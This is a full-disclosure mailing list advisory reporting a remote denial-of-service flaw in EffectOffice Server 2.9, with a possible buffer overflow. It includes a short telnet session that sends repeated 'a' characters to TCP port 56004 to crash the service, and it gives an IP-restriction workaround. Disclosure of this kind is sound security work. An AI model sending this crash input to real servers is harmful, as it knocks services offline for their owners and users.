full-disclosure - [securitylab.ru] EffectOffice Server 2.9 problem

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Message-ID: <04ac01c3af6e$2fa965c0$1864640a@rdis.ru>
From: antipov at SecurityLab.ru (Alexander Antipov)
Subject: [securitylab.ru] EffectOffice Server 2.9 problem

Application: EffectOffice Server 2.9
Vendor: EffectOffice
Vendor Site: http://www.EffectOffice.com
Remote: Yes
Exploitable: Yes
Risk level: High 
Authors: D_BuG (d_bug @ bk.ru)
Authors Site: http://www.securitylab.ru 

Description: 
A vulnerability identified in EffectOffice can be exploited by a
malicious person to cause a Denial of Service and under specific
condition can lead to buffer overflow with possibility of remote code
execution.

Remote user could send a specially crafted data to 56004 TCP port on
target server to potentially cause the system to crash. 

Exploit:

hacker# telnet
telnet> open
(to) attackhost 56004
Trying attackhost......
Connected to attackhost.
Escape character is '^]'.
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
aaaaaaaaaa
^]
telnet>close
telnet>quit
hacker#

Crash service

Workaround: Restrict access to the service allowing only connection
attempts from trusted IPs if possible.